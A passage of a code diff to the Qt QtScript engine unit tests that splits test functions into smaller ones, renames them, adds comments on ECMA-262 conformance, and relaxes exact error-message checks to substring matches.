QScriptValue val = qScriptValueFromValue(&eng, in);
@@ -2391,6 +2480,11 @@ void tst_QScriptEngine::valueConversion()
QVERIFY(val.isDate());
QCOMPARE(val.toDateTime().date(), in);
}
+}
+
+void tst_QScriptEngine::valueConversion_regExp()
+{
+ QScriptEngine eng;
{
QRegExp in = QRegExp("foo");
QScriptValue val = qScriptValueFromValue(&eng, in);
@@ -2416,8 +2510,6 @@ void tst_QScriptEngine::valueConversion()
QEXPECT_FAIL("", "QTBUG-6136: JSC-based back-end doesn't preserve QRegExp::minimal (always false)", Continue);
QCOMPARE(val.toRegExp().isMinimal(), in.isMinimal());
}
-
- QCOMPARE(qscriptvalue_cast<QVariant>(QScriptValue(123)), QVariant(123));
}
void tst_QScriptEngine::qScriptValueFromValue_noEngine()
@@ -2522,7 +2614,7 @@ void tst_QScriptEngine::importExtension()
QEXPECT_FAIL("", "JSC throws syntax error eagerly", Continue);
QCOMPARE(eng.uncaughtExceptionLineNumber(), 4);
QVERIFY(ret.isError());
- QCOMPARE(ret.property("message").toString(), QLatin1String("Parse error"));
+ QVERIFY(ret.toString().contains(QLatin1String("SyntaxError")));
}
QStringList imp = eng.importedExtensions();
QCOMPARE(imp.size(), 2);
@@ -2548,6 +2640,9 @@ static QScriptValue recurse2(QScriptContext *ctx, QScriptEngine *eng)
void tst_QScriptEngine::infiniteRecursion()
{
+ // Infinite recursion in JS should cause the VM to throw an error
+ // when the JS stack is exhausted.
+ // The exact error is back-end specific and subject to change.
const QString stackOverflowError = QString::fromLatin1("RangeError: Maximum call stack size exceeded.");
QScriptEngine eng;
{
@@ -2610,6 +2705,8 @@ void tst_QScriptEngine::castWithPrototypeChain()
baz2.b = 456;
QScriptValue baz2Value = qScriptValueFromValue(&eng, &baz2);
{
+ // qscriptvalue_cast() does magic; if the QScriptValue contains
+ // t of type T, and the target type is T*, &t is returned.
Baz *pbaz = qscriptvalue_cast<Baz*>(baz2Value);
QVERIFY(pbaz != 0);
QCOMPARE(pbaz->b, baz2.b);
@@ -2632,6 +2729,13 @@ void tst_QScriptEngine::castWithPrototypeChain()
}
// establish chain -- now casting should work
+ // Why? because qscriptvalue_cast() does magic again.
+ // It the instance itself is not of type T, qscriptvalue_cast()
+ // searches the prototype chain for T, and if it finds one, it infers
+ // that the instance can also be casted to that type. This cast is
+ // _not_ safe and thus relies on the developer doing the right thing.
+ // This is an undocumented feature to enable qscriptvalue_cast() to
+ // be used by prototype functions to cast the JS this-object to C++.
bazProto.setPrototype(barProto);
{
@@ -2740,6 +2844,9 @@ void tst_QScriptEngine::collectGarbage()
void tst_QScriptEngine::reportAdditionalMemoryCost()
{
QScriptEngine eng;
+ // There isn't any reliable way to test whether calling
+ // this function affects garbage collection responsiveness;
+ // the best we can do is call it with a few different values.
for (int x = 0; x < 1000; ++x) {
eng.reportAdditionalMemoryCost(0);
eng.reportAdditionalMemoryCost(10);
@@ -2757,6 +2864,8 @@ void tst_QScriptEngine::reportAdditionalMemoryCost()
void tst_QScriptEngine::gcWithNestedDataStructure()
{
+ // The GC must be able to traverse deeply nested objects, otherwise this
+ // test would crash.
QScriptEngine eng;
eng.evaluate(
"function makeList(size)"
@@ -2778,6 +2887,7 @@ void tst_QScriptEngine::gcWithNestedDataStructure()
if (x == 1)
eng.evaluate("gc()");
QScriptValue l = head;
+ // Make sure all the nodes are still alive.
for (int i = 0; i < 200; ++i) {
QCOMPARE(l.property("data").toString(), QString::number(i));
l = l.property("next");
@@ -2807,6 +2917,8 @@ void tst_QScriptEngine::processEventsWhileRunning()
if (x == 0)
eng.pushContext();
+ // This is running for a silly amount of time just to make sure
+ // the script doesn't finish before event processing is triggered.
QString script = QString::fromLatin1(
"var end = Number(new Date()) + 2000;"
"var x = 0;"
@@ -3012,13 +3124,15 @@ void tst_QScriptEngine::numberParsing()
}
// see ECMA-262, section 7.9
+// This is testing ECMA compliance, not our C++ API, but it's important that
+// the back-end is conformant in this regard.
void tst_QScriptEngine::automaticSemicolonInsertion()
{
QScriptEngine eng;
{
QScriptValue ret = eng.evaluate("{ 1 2 } 3");
QVERIFY(ret.isError());
- QCOMPARE(ret.toString(), QString::fromLatin1("SyntaxError: Parse error"));
+ QVERIFY(ret.toString().contains("SyntaxError"));
}
{
QScriptValue ret = eng.evaluate("{ 1\n2 } 3");
@@ -3028,7 +3142,7 @@ void tst_QScriptEngine::automaticSemicolonInsertion()
{
QScriptValue ret = eng.evaluate("for (a; b\n)");
QVERIFY(ret.isError());
- QCOMPARE(ret.toString(), QString::fromLatin1("SyntaxError: Parse error"));
+ QVERIFY(ret.toString().contains("SyntaxError"));
}
{
QScriptValue ret = eng.evaluate("(function() { return\n1 + 2 })()");
@@ -3043,7 +3157,7 @@ void tst_QScriptEngine::automaticSemicolonInsertion()
{
QScriptValue ret = eng.evaluate("if (a > b)\nelse c = d");
QVERIFY(ret.isError());
- QCOMPARE(ret.toString(), QString::fromLatin1("SyntaxError: Parse error"));
+ QVERIFY(ret.toString().contains("SyntaxError"));
}
{
eng.evaluate("function c() { return { foo: function() { return 5; } } }");
@@ -3055,7 +3169,7 @@ void tst_QScriptEngine::automaticSemicolonInsertion()
{
QScriptValue ret = eng.evaluate("throw\n1");
QVERIFY(ret.isError());
- QCOMPARE(ret.toString(), QString::fromLatin1("SyntaxError: Parse error"));
+ QVERIFY(ret.toString().contains("SyntaxError"));
}
{
QScriptValue ret = eng.evaluate("a = Number(1)\n++a");
@@ -3257,7 +3371,7 @@ static QScriptValue myFunctionAbortingEvaluation(QScriptContext *, QScriptEngine
return eng->nullValue(); // should be ignored
}
-void tst_QScriptEngine::abortEvaluation()
+void tst_QScriptEngine::abortEvaluation_notEvaluating()
{
QScriptEngine eng;
@@ -3270,7 +3384,11 @@ void tst_QScriptEngine::abortEvaluation()
QVERIFY(ret.isString());
QCOMPARE(ret.toString(), QString::fromLatin1("ciao"));
}
+}
+void tst_QScriptEngine::abortEvaluation()
+{
+ QScriptEngine eng;
EventReceiver3 receiver(&eng);
eng.setProcessEventsInterval(100);
@@ -3301,6 +3419,13 @@ void tst_QScriptEngine::abortEvaluation()
}
}
+}
+
+void tst_QScriptEngine::abortEvaluation_tryCatch()
+{
+ QScriptEngine eng;
+ EventReceiver3 receiver(&eng);
+ eng.setProcessEventsInterval(100);
// scripts cannot intercept the abortion with try/catch
for (int y = 0; y < 4; ++y) {
QCoreApplication::postEvent(&receiver, new QEvent(QEvent::Type(QEvent::User+1)));
@@ -3334,13 +3459,15 @@ void tst_QScriptEngine::abortEvaluation()
break;
}
}
+}
- {
- QScriptValue fun = eng.newFunction(myFunctionAbortingEvaluation);
- eng.globalObject().setProperty("myFunctionAbortingEvaluation", fun);
- QScriptValue ret = eng.evaluate("myFunctionAbortingEvaluation()");
- QVERIFY(!ret.isValid());
- }
+void tst_QScriptEngine::abortEvaluation_fromNative()
+{
+ QScriptEngine eng;
+ QScriptValue fun = eng.newFunction(myFunctionAbortingEvaluation);
+ eng.globalObject().setProperty("myFunctionAbortingEvaluation", fun);
+ QScriptValue ret = eng.evaluate("myFunctionAbortingEvaluation()");
+ QVERIFY(!ret.isValid());
}
class ThreadedEngine : public QThread {
@@ -3407,7 +3534,7 @@ public:
bool wasEvaluating;
};
-void tst_QScriptEngine::isEvaluating()
+void tst_QScriptEngine::isEvaluating_notEvaluating()
{
QScriptEngine eng;
@@ -3419,30 +3546,34 @@ void tst_QScriptEngine::isEvaluating()
QVERIFY(!eng.isEvaluating());
eng.evaluate("0 = 0");
QVERIFY(!eng.isEvaluating());
+}
- {
- QScriptValue fun = eng.newFunction(myFunctionReturningIsEvaluating);
- eng.globalObject().setProperty("myFunctionReturningIsEvaluating", fun);
- QScriptValue ret = eng.evaluate("myFunctionReturningIsEvaluating()");
- QVERIFY(ret.isBoolean());
- QVERIFY(ret.toBoolean());
- }
+void tst_QScriptEngine::isEvaluating_fromNative()
+{
+ QScriptEngine eng;
+ QScriptValue fun = eng.newFunction(myFunctionReturningIsEvaluating);
+ eng.globalObject().setProperty("myFunctionReturningIsEvaluating", fun);
+ QScriptValue ret = eng.evaluate("myFunctionReturningIsEvaluating()");
+ QVERIFY(ret.isBoolean());
+ QVERIFY(ret.toBoolean());
+}
- {
- EventReceiver4 receiver(&eng);
- QCoreApplication::postEvent(&receiver, new QEvent(QEvent::Type(QEvent::User+1)));
+void tst_QScriptEngine::isEvaluating_fromEvent()
+{
+ QScriptEngine eng;
+ EventReceiver4 receiver(&eng);
+ QCoreApplication::postEvent(&receiver, new QEvent(QEvent::Type(QEvent::User+1)));
- QString script = QString::fromLatin1(
- "var end = Number(new Date()) + 1000;"
- "var x = 0;"
- "while (Number(new Date()) < end) {"
- " ++x;"
- "}");
+ QString script = QString::fromLatin1(
+ "var end = Number(new Date()) + 1000;"
+ "var x = 0;"
+ "while (Number(new Date()) < end) {"
+ " ++x;"
+ "}");
- eng.setProcessEventsInterval(100);
- eng.evaluate(script);
- QVERIFY(receiver.wasEvaluating);
- }
+ eng.setProcessEventsInterval(100);
+ eng.evaluate(script);
+ QVERIFY(receiver.wasEvaluating);
}
static QtMsgType theMessageType;
@@ -3456,24 +3587,33 @@ static void myMsgHandler(QtMsgType type, const char *msg)
void tst_QScriptEngine::printFunctionWithCustomHandler()
{
+ // The built-in print() function passes the output to Qt's message
+ // handler. By installing a custom message handler, the output can be
+ // redirected without changing the print() function itself.
+ // This behavior is not documented.
QScriptEngine eng;
QtMsgHandler oldHandler = qInstallMsgHandler(myMsgHandler);
QVERIFY(eng.globalObject().property("print").isFunction());
+
theMessageType = QtSystemMsg;
QVERIFY(theMessage.isEmpty());
QVERIFY(eng.evaluate("print('test')").isUndefined());
QCOMPARE(theMessageType, QtDebugMsg);
QCOMPARE(theMessage, QString::fromLatin1("test"));
+
theMessageType = QtSystemMsg;
theMessage.clear();
QVERIFY(eng.evaluate("print(3, true, 'little pigs')").isUndefined());
QCOMPARE(theMessageType, QtDebugMsg);
QCOMPARE(theMessage, QString::fromLatin1("3 true little pigs"));
+
qInstallMsgHandler(oldHandler);
}
void tst_QScriptEngine::printThrowsException()
{
+ // If an argument to print() causes an exception to be thrown when
+ // it's converted to a string, print() should propagate the exception.
QScriptEngine eng;
QScriptValue ret = eng.evaluate("print({ toString: function() { throw 'foo'; } });");
QVERIFY(eng.hasUncaughtException());
@@ -3506,34 +3646,30 @@ void tst_QScriptEngine::errorConstructors()
}
}
-static QScriptValue argumentsProperty_fun(QScriptContext *, QScriptEngine *eng)
+void tst_QScriptEngine::argumentsProperty_globalContext()
{
- eng->evaluate("var a = arguments[0];");
- eng->evaluate("arguments[0] = 200;");
- return eng->evaluate("a + arguments[0]");
+ QScriptEngine eng;
+ {
+ // Unlike function calls, the global context doesn't have an
+ // arguments property.
+ QScriptValue ret = eng.evaluate("arguments");
+ QVERIFY(ret.isError());
+ QVERIFY(ret.toString().contains(QString::fromLatin1("ReferenceError")));
+ }
+ eng.evaluate("arguments = 10");
+ {
+ QScriptValue ret = eng.evaluate("arguments");
+ QVERIFY(ret.isNumber());
+ QCOMPARE(ret.toInt32(), 10);
+ }
+ QVERIFY(eng.evaluate("delete arguments").toBoolean());
+ QVERIFY(!eng.globalObject().property("arguments").isValid());
}
-
-void tst_QScriptEngine::argumentsProperty()
+void tst_QScriptEngine::argumentsProperty_JS()
{
{
QScriptEngine eng;
- {
- QScriptValue ret = eng.evaluate("arguments");
- QVERIFY(ret.isError());
- QCOMPARE(ret.toString(), QString::fromLatin1("ReferenceError: Can't find variable: arguments"));
- }
- eng.evaluate("arguments = 10");
- {
- QScriptValue ret = eng.evaluate("arguments");
- QVERIFY(ret.isNumber());
- QCOMPARE(ret.toInt32(), 10);
- }
- QVERIFY(eng.evaluate("delete arguments").toBoolean());
- QVERIFY(!eng.globalObject().property("arguments").isValid());
- }
- {
- QScriptEngine eng;
eng.evaluate("o = { arguments: 123 }");
QScriptValue ret = eng.evaluate("with (o) { arguments; }");
QVERIFY(ret.isNumber());
@@ -3542,25 +3678,40 @@ void tst_QScriptEngine::argumentsProperty()
{
QScriptEngine eng;
QVERIFY(!eng.globalObject().property("arguments").isValid());
+ // This is testing ECMA-262 compliance. In function calls, "arguments"
+ // appears like a local variable, and it can be replaced.
QScriptValue ret = eng.evaluate("(function() { arguments = 456; return arguments; })()");
QVERIFY(ret.isNumber());
QCOMPARE(ret.toInt32(), 456);
QVERIFY(!eng.globalObject().property("arguments").isValid());
}
+}
- {
- QScriptEngine eng;
- QScriptValue fun = eng.newFunction(argumentsProperty_fun);
- eng.globalObject().setProperty("fun", eng.newFunction(argumentsProperty_fun));
- QScriptValue result = eng.evaluate("fun(18)");
- QVERIFY(result.isNumber());
- QCOMPARE(result.toInt32(), 218);
- }
+static QScriptValue argumentsProperty_fun(QScriptContext *, QScriptEngine *eng)
+{
+ // Since evaluate() is done in the current context, "arguments" should
+ // refer to currentContext()->argumentsObject().
+ // This is for consistency with the built-in JS eval() function.
+ eng->evaluate("var a = arguments[0];");
+ eng->evaluate("arguments[0] = 200;");
+ return eng->evaluate("a + arguments[0]");
}
-void tst_QScriptEngine::numberClass()
+void tst_QScriptEngine::argumentsProperty_evaluateInNativeFunction()
{
QScriptEngine eng;
+ QScriptValue fun = eng.newFunction(argumentsProperty_fun);
+ eng.globalObject().setProperty("fun", eng.newFunction(argumentsProperty_fun));
+ QScriptValue result = eng.evaluate("fun(18)");
+ QVERIFY(result.isNumber());
+ QCOMPARE(result.toInt32(), 200+18);
+}
+
+void tst_QScriptEngine::jsNumberClass()
+{
+ // See ECMA-262 Section 15.7, "Number Objects".
+
+ QScriptEngine eng;
QScriptValue ctor = eng.globalObject().property("Number");
QVERIFY(ctor.property("length").isNumber());
@@ -3669,7 +3820,7 @@ void tst_QScriptEngine::numberClass()
}
}
-void tst_QScriptEngine::forInStatement()
+void tst_QScriptEngine::jsForInStatement_simple()
{
QScriptEngine eng;
{
@@ -3692,8 +3843,11 @@ void tst_QScriptEngine::forInStatement()
QCOMPARE(lst.at(0), QString::fromLatin1("p"));
QCOMPARE(lst.at(1), QString::fromLatin1("q"));
}
+}
- // properties in prototype
+void tst_QScriptEngine::jsForInStatement_prototypeProperties()
+{
+ QScriptEngine eng;
{
QScriptValue ret = eng.evaluate("o = { }; o.__proto__ = { p: 123 }; r = [];"
"for (var p in o) r[r.length] = p; r");
@@ -3718,6 +3872,11 @@ void tst_QScriptEngine::forInStatement()
QCOMPARE(lst.at(0), QString::fromLatin1("p"));
}
+}
+
+void tst_QScriptEngine::jsForInStatement_mutateWhileIterating()
+{
+ QScriptEngine eng;
// deleting property during enumeration
{
QScriptValue ret = eng.evaluate("o = { p: 123 }; r = [];"
@@ -3743,7 +3902,11 @@ void tst_QScriptEngine::forInStatement()
QCOMPARE(lst.at(0), QString::fromLatin1("p"));
}
- // arrays
+}
+
+void tst_QScriptEngine::jsForInStatement_arrays()
+{
+ QScriptEngine eng;
{
QScriptValue ret = eng.evaluate("a = [123, 456]; r = [];"
"for (var p in a) r[r.length] = p; r");
@@ -3774,10 +3937,11 @@ void tst_QScriptEngine::forInStatement()
QCOMPARE(lst.at(3), QString::fromLatin1("2"));
QCOMPARE(lst.at(4), QString::fromLatin1("bar"));
}
+}
- // null and undefined
- // according to the spec, we should throw an exception; however, for
- // compability with the real world, we don't
+void tst_QScriptEngine::jsForInStatement_nullAndUndefined()
+{
+ QScriptEngine eng;
{
QScriptValue ret = eng.evaluate("r = true; for (var p in undefined) r = false; r");
QVERIFY(ret.isBool());
@@ -3790,9 +3954,17 @@ void tst_QScriptEngine::forInStatement()
}
}
-void tst_QScriptEngine::functionExpression()
+void tst_QScriptEngine::jsFunctionDeclarationAsStatement()
{
- // task 175679
+ // ECMA-262 does not allow function declarations to be used as statements,
+ // but several popular implementations (including JSC) do. See the NOTE
+ // at the beginning of chapter 12 in ECMA-262 5th edition, where it's
+ // recommended that implementations either disallow this usage or issue
+ // a warning.
+ // Since we had a bug report long ago about QtScript not supporting this
+ // "feature" (and thus deviating from other implementations), we still
+ // check this behavior.
+
QScriptEngine eng;
QVERIFY(!eng.globalObject().property("bar").isValid());
eng.evaluate("function foo(arg) {\n"
@@ -3825,6 +3997,8 @@ void tst_QScriptEngine::functionExpression()
void tst_QScriptEngine::stringObjects()
{
+ // See ECMA-262 Section 15.5, "String Objects".
+
QScriptEngine eng;
QString str("ciao");
// in C++
@@ -3886,7 +4060,11 @@ void tst_QScriptEngine::stringObjects()
QVERIFY(ret7.isBoolean());
QVERIFY(ret7.toBoolean());
}
+}
+void tst_QScriptEngine::jsStringPrototypeReplaceBugs()
+{
+ QScriptEngine eng;
// task 212440
{
QScriptValue ret = eng.evaluate("replace_args = []; \"a a a\".replace(/(a)/g, function() { replace_args.push(arguments); }); replace_args");
@@ -4024,7 +4202,8 @@ void tst_QScriptEngine::getterSetterThisObject_activation()
// read
eng.evaluate("act.__defineGetter__('x', function() { return this; })");
QVERIFY(eng.evaluate("x === act").toBoolean());
- QEXPECT_FAIL("", "Exotic overload (don't care for now)", Continue);
+ QEXPECT_FAIL("", "QTBUG-17605: Not possible to implement local variables as getter/setter properties", Abort);
+ QVERIFY(!eng.hasUncaughtException());
QVERIFY(eng.evaluate("with (act) x").equals("foo"));
QVERIFY(eng.evaluate("(function() { with (act) return x; })() === act").toBoolean());
eng.evaluate("q = {}; with (act) with (q) x").equals(eng.evaluate("act"));
@@ -4038,8 +4217,10 @@ void tst_QScriptEngine::getterSetterThisObject_activation()
}
}
-void tst_QScriptEngine::continueInSwitch()
+void tst_QScriptEngine::jsContinueInSwitch()
{
+ // This is testing ECMA-262 compliance, not C++ API.
+
QScriptEngine eng;
// switch - continue
{
@@ -4116,35 +4297,17 @@ void tst_QScriptEngine::continueInSwitch()
}
}
-void tst_QScriptEngine::readOnlyPrototypeProperty()
+void tst_QScriptEngine::jsShadowReadOnlyPrototypeProperty()
{
- QSKIP("JSC semantics differ from old back-end and SpiderMonkey", SkipAll);
+ // SpiderMonkey has different behavior than JSC and V8; it disallows
+ // creating a property on the instance if there's a property with the
+ // same name in the prototype, and that property is read-only. We
+ // adopted that behavior in the old (4.5) QtScript back-end, but it
+ // just seems weird -- and non-compliant. Adopt the JSC behavior instead.
QScriptEngine eng;
- QCOMPARE(eng.evaluate("o = {}; o.__proto__ = parseInt; o.length").toInt32(), 2);
- QCOMPARE(eng.evaluate("o.length = 4; o.length").toInt32(), 2);
- QVERIFY(!eng.evaluate("o.hasOwnProperty('length')").toBoolean());
- QCOMPARE(eng.evaluate("o.length *= 2; o.length").toInt32(), 2);
- QCOMPARE(eng.evaluate("o.length /= 2; o.length").toInt32(), 2);
- QCOMPARE(eng.evaluate("o.length %= 2; o.length").toInt32(), 2);
- QCOMPARE(eng.evaluate("o.length += 2; o.length").toInt32(), 2);
- QCOMPARE(eng.evaluate("o.length -= 2; o.length").toInt32(), 2);
- QCOMPARE(eng.evaluate("o.length <<= 2; o.length").toInt32(), 2);
- QCOMPARE(eng.evaluate("o.length >>= 2; o.length").toInt32(), 2);
- QCOMPARE(eng.evaluate("o.length >>>= 2; o.length").toInt32(), 2);
- QCOMPARE(eng.evaluate("o.length &= 0; o.length").toInt32(), 2);
- QCOMPARE(eng.evaluate("o.length ^= 255; o.length").toInt32(), 2);
- QCOMPARE(eng.evaluate("o.length |= 255; o.length").toInt32(), 2);
-
- {
- QScriptValue ret = eng.evaluate("o.__defineGetter__('length', function() {})");
- QVERIFY(ret.isError());
- QCOMPARE(ret.toString(), QString::fromLatin1("Error: cannot redefine read-only property"));
- }
- {
- QScriptValue ret = eng.evaluate("o.__defineSetter__('length', function() {})");
- QVERIFY(ret.isError());
- QCOMPARE(ret.toString(), QString::fromLatin1("Error: cannot redefine read-only property"));
- }
+ QVERIFY(eng.evaluate("o = {}; o.__proto__ = parseInt; o.length").isNumber());
+ QCOMPARE(eng.evaluate("o.length = 123; o.length").toInt32(), 123);
+ QVERIFY(eng.evaluate("o.hasOwnProperty('length')").toBoolean());
}
void tst_QScriptEngine::toObject()
@@ -4226,7 +4389,7 @@ void tst_QScriptEngine::toObject()
QVERIFY(stringValue.isString());
}
-void tst_QScriptEngine::reservedWords_data()
+void tst_QScriptEngine::jsReservedWords_data()
{
QTest::addColumn<QString>("word");
QTest::newRow("break") << QString("break");
@@ -4259,8 +4422,13 @@ void tst_QScriptEngine::reservedWords_data()
QTest::newRow("with") << QString("with");
}
-void tst_QScriptEngine::reservedWords()
+void tst_QScriptEngine::jsReservedWords()
{
+ // See ECMA-262 Section 7.6.1, "Reserved Words".
+ // We prefer that the implementation is less strict than the spec; e.g.
+ // it's good to allow reserved words as identifiers in object literals,
+ // and when accessing properties using dot notation.
+
QFETCH(QString, word);
{
QScriptEngine eng;
@@ -4298,7 +4466,7 @@ void tst_QScriptEngine::reservedWords()
}
}
-void tst_QScriptEngine::futureReservedWords_data()
+void tst_QScriptEngine::jsFutureReservedWords_data()
{
QTest::addColumn<QString>("word");
QTest::addColumn<bool>("allowed");
@@ -4335,8 +4503,12 @@ void tst_QScriptEngine::futureReservedWords_data()
QTest::newRow("volatile") << QString("volatile") << true;
}
-void tst_QScriptEngine::futureReservedWords()
+void tst_QScriptEngine::jsFutureReservedWords()
{
+ // See ECMA-262 Section 7.6.1.2, "Future Reserved Words".
+ // In real-world implementations, most of these words are
+ // actually allowed as normal identifiers.
+
QFETCH(QString, word);
QFETCH(bool, allowed);
{
@@ -4364,8 +4536,10 @@ void tst_QScriptEngine::futureReservedWords()
}
}
-void tst_QScriptEngine::throwInsideWithStatement()
+void tst_QScriptEngine::jsThrowInsideWithStatement()
{
+ // This is testing ECMA-262 compliance, not C++ API.
+
// task 209988
QScriptEngine eng;
{
@@ -4379,7 +4553,7 @@ void tst_QScriptEngine::throwInsideWithStatement()
" bad;"
"}");
QVERIFY(ret.isError());
- QCOMPARE(ret.toString(), QString::fromLatin1("ReferenceError: Can't find variable: bad"));
+ QVERIFY(ret.toString().contains(QString::fromLatin1("ReferenceError")));
}
{
QScriptValue ret = eng.evaluate(
@@ -4392,7 +4566,7 @@ void tst_QScriptEngine::throwInsideWithStatement()
" bad;"
"}");
QVERIFY(ret.isError());
- QCOMPARE(ret.toString(), QString::fromLatin1("ReferenceError: Can't find variable: bad"));
+ QVERIFY(ret.toString().contains(QString::fromLatin1("ReferenceError")));
}
{
eng.clearExceptions();
@@ -4419,7 +4593,7 @@ void tst_QScriptEngine::throwInsideWithStatement()
QVERIFY(ret.isNumber());
QScriptValue ret2 = eng.evaluate("bug");
QVERIFY(ret2.isError());
- QCOMPARE(ret2.toString(), QString::fromLatin1("ReferenceError: Can't find variable: bug"));
+ QVERIFY(ret2.toString().contains(QString::fromLatin1("ReferenceError")));
}
}
@@ -4429,106 +4603,116 @@ public:
TestAgent(QScriptEngine *engine) : QScriptEngineAgent(engine) {}
};
-void tst_QScriptEngine::getSetAgent()
+void tst_QScriptEngine::getSetAgent_ownership()
{
- // case 1: engine deleted before agent --> agent deleted too
- {
- QScriptEngine *eng = new QScriptEngine;
- QCOMPARE(eng->agent(), (QScriptEngineAgent*)0);
- TestAgent *agent = new TestAgent(eng);
- eng->setAgent(agent);
- QCOMPARE(eng->agent(), (QScriptEngineAgent*)agent);
- eng->setAgent(0); // the engine maintains ownership of the old agent
- QCOMPARE(eng->agent(), (QScriptEngineAgent*)0);
- delete eng;
- }
- // case 2: agent deleted before engine --> engine's agent should become 0
- {
- QScriptEngine *eng = new QScriptEngine;
- TestAgent *agent = new TestAgent(eng);
- eng->setAgent(agent);
- QCOMPARE(eng->agent(), (QScriptEngineAgent*)agent);
- delete agent;
- QCOMPARE(eng->agent(), (QScriptEngineAgent*)0);
- eng->evaluate("(function(){ return 123; })()");
- delete eng;
- }
- {
- QScriptEngine eng;
- QScriptEngine eng2;
- TestAgent *agent = new TestAgent(&eng);
- QTest::ignoreMessage(QtWarningMsg, "QScriptEngine::setAgent(): cannot set agent belonging to different engine");
- eng2.setAgent(agent);
- QCOMPARE(eng2.agent(), (QScriptEngineAgent*)0);
- }
+ // engine deleted before agent --> agent deleted too
+ QScriptEngine *eng = new QScriptEngine;
+ QCOMPARE(eng->agent(), (QScriptEngineAgent*)0);
+ TestAgent *agent = new TestAgent(eng);
+ eng->setAgent(agent);
+ QCOMPARE(eng->agent(), (QScriptEngineAgent*)agent);
+ eng->setAgent(0); // the engine maintains ownership of the old agent
+ QCOMPARE(eng->agent(), (QScriptEngineAgent*)0);
+ delete eng;
}
-void tst_QScriptEngine::reentrancy()
+void tst_QScriptEngine::getSetAgent_deleteAgent()
{
+ // agent deleted before engine --> engine's agent should become 0
+ QScriptEngine *eng = new QScriptEngine;
+ TestAgent *agent = new TestAgent(eng);
+ eng->setAgent(agent);
+ QCOMPARE(eng->agent(), (QScriptEngineAgent*)agent);
+ delete agent;
+ QCOMPARE(eng->agent(), (QScriptEngineAgent*)0);
+ eng->evaluate("(function(){ return 123; })()");
+ delete eng;
+}
+
+void tst_QScriptEngine::getSetAgent_differentEngine()
+{
+ QScriptEngine eng;
+ QScriptEngine eng2;
+ TestAgent *agent = new TestAgent(&eng);
+ QTest::ignoreMessage(QtWarningMsg, "QScriptEngine::setAgent(): cannot set agent belonging to different engine");
+ eng2.setAgent(agent);
+ QCOMPARE(eng2.agent(), (QScriptEngineAgent*)0);
+}
+
+void tst_QScriptEngine::reentrancy_stringHandles()
+{
+ QScriptEngine eng1;
+ QScriptEngine eng2;
+ QScriptString s1 = eng1.toStringHandle("foo");
+ QScriptString s2 = eng2.toStringHandle("foo");
+ QVERIFY(s1 != s2);
+}
+
+void tst_QScriptEngine::reentrancy_processEventsInterval()
+{
+ QScriptEngine eng1;
+ QScriptEngine eng2;
+ eng1.setProcessEventsInterval(123);
+ QCOMPARE(eng2.processEventsInterval(), -1);
+ eng2.setProcessEventsInterval(456);
+ QCOMPARE(eng1.processEventsInterval(), 123);
+}
+
+void tst_QScriptEngine::reentrancy_typeConversion()
+{
+ QScriptEngine eng1;
+ QScriptEngine eng2;
+ qScriptRegisterMetaType<Foo>(&eng1, fooToScriptValue, fooFromScriptValue);
+ Foo foo;
+ foo.x = 12;
+ foo.y = 34;
{
- QScriptEngine eng1;
- QScriptEngine eng2;
- QScriptString s1 = eng1.toStringHandle("foo");
- QScriptString s2 = eng2.toStringHandle("foo");
- QVERIFY(s1 != s2);
- }
- {
- QScriptEngine eng1;
- QScriptEngine eng2;
- eng1.setProcessEventsInterval(123);
- QCOMPARE(eng2.processEventsInterval(), -1);
- eng2.setProcessEventsInterval(456);
- QCOMPARE(eng1.processEventsInterval(), 123);
+ QScriptValue fooVal = qScriptValueFromValue(&eng1, foo);
+ QVERIFY(fooVal.isObject());
+ QVERIFY(!fooVal.isVariant());
+ QCOMPARE(fooVal.property("x").toInt32(), 12);
+ QCOMPARE(fooVal.property("y").toInt32(), 34);
+ fooVal.setProperty("x", 56);
+ fooVal.setProperty("y", 78);
+
+ Foo foo2 = qScriptValueToValue<Foo>(fooVal);
+ QCOMPARE(foo2.x, 56);
+ QCOMPARE(foo2.y, 78);
}
{
- QScriptEngine eng1;
- QScriptEngine eng2;
- qScriptRegisterMetaType<Foo>(&eng1, fooToScriptValue, fooFromScriptValue);
- Foo foo;
- foo.x = 12;
- foo.y = 34;
- {
- QScriptValue fooVal = qScriptValueFromValue(&eng1, foo);
- QVERIFY(fooVal.isObject());
- QVERIFY(!fooVal.isVariant());
- QCOMPARE(fooVal.property("x").toInt32(), 12);
- QCOMPARE(fooVal.property("y").toInt32(), 34);
- fooVal.setProperty("x", 56);
- fooVal.setProperty("y", 78);
-
- Foo foo2 = qScriptValueToValue<Foo>(fooVal);
- QCOMPARE(foo2.x, 56);
- QCOMPARE(foo2.y, 78);
- }
- {
- QScriptValue fooVal = qScriptValueFromValue(&eng2, foo);
- QVERIFY(fooVal.isVariant());
+ QScriptValue fooVal = qScriptValueFromValue(&eng2, foo);
+ QVERIFY(fooVal.isVariant());
- Foo foo2 = qScriptValueToValue<Foo>(fooVal);
- QCOMPARE(foo2.x, 12);
- QCOMPARE(foo2.y, 34);
- }
- QVERIFY(!eng1.defaultPrototype(qMetaTypeId<Foo>()).isValid());
- QVERIFY(!eng2.defaultPrototype(qMetaTypeId<Foo>()).isValid());
- QScriptValue proto1 = eng1.newObject();
- eng1.setDefaultPrototype(qMetaTypeId<Foo>(), proto1);
- QVERIFY(!eng2.defaultPrototype(qMetaTypeId<Foo>()).isValid());
- QScriptValue proto2 = eng2.newObject();
- eng2.setDefaultPrototype(qMetaTypeId<Foo>(), proto2);
- QVERIFY(eng2.defaultPrototype(qMetaTypeId<Foo>()).isValid());
- QVERIFY(eng1.defaultPrototype(qMetaTypeId<Foo>()).strictlyEquals(proto1));
- }
- {
- QScriptEngine eng1;
- QScriptEngine eng2;
- QVERIFY(!eng2.globalObject().property("a").isValid());
- eng1.evaluate("a = 10");
- QVERIFY(eng1.globalObject().property("a").isNumber());
- QVERIFY(!eng2.globalObject().property("a").isValid());
- eng2.evaluate("a = 20");
- QVERIFY(eng2.globalObject().property("a").isNumber());
- QCOMPARE(eng1.globalObject().property("a").toInt32(), 10);
+ Foo foo2 = qScriptValueToValue<Foo>(fooVal);
+ QCOMPARE(foo2.x, 12);
+ QCOMPARE(foo2.y, 34);
}
+ QVERIFY(!eng1.defaultPrototype(qMetaTypeId<Foo>()).isValid());
+ QVERIFY(!eng2.defaultPrototype(qMetaTypeId<Foo>()).isValid());
+ QScriptValue proto1 = eng1.newObject();
+ eng1.setDefaultPrototype(qMetaTypeId<Foo>(), proto1);
+ QVERIFY(!eng2.defaultPrototype(qMetaTypeId<Foo>()).isValid());
+ QScriptValue proto2 = eng2.newObject();
+ eng2.setDefaultPrototype(qMetaTypeId<Foo>(), proto2);
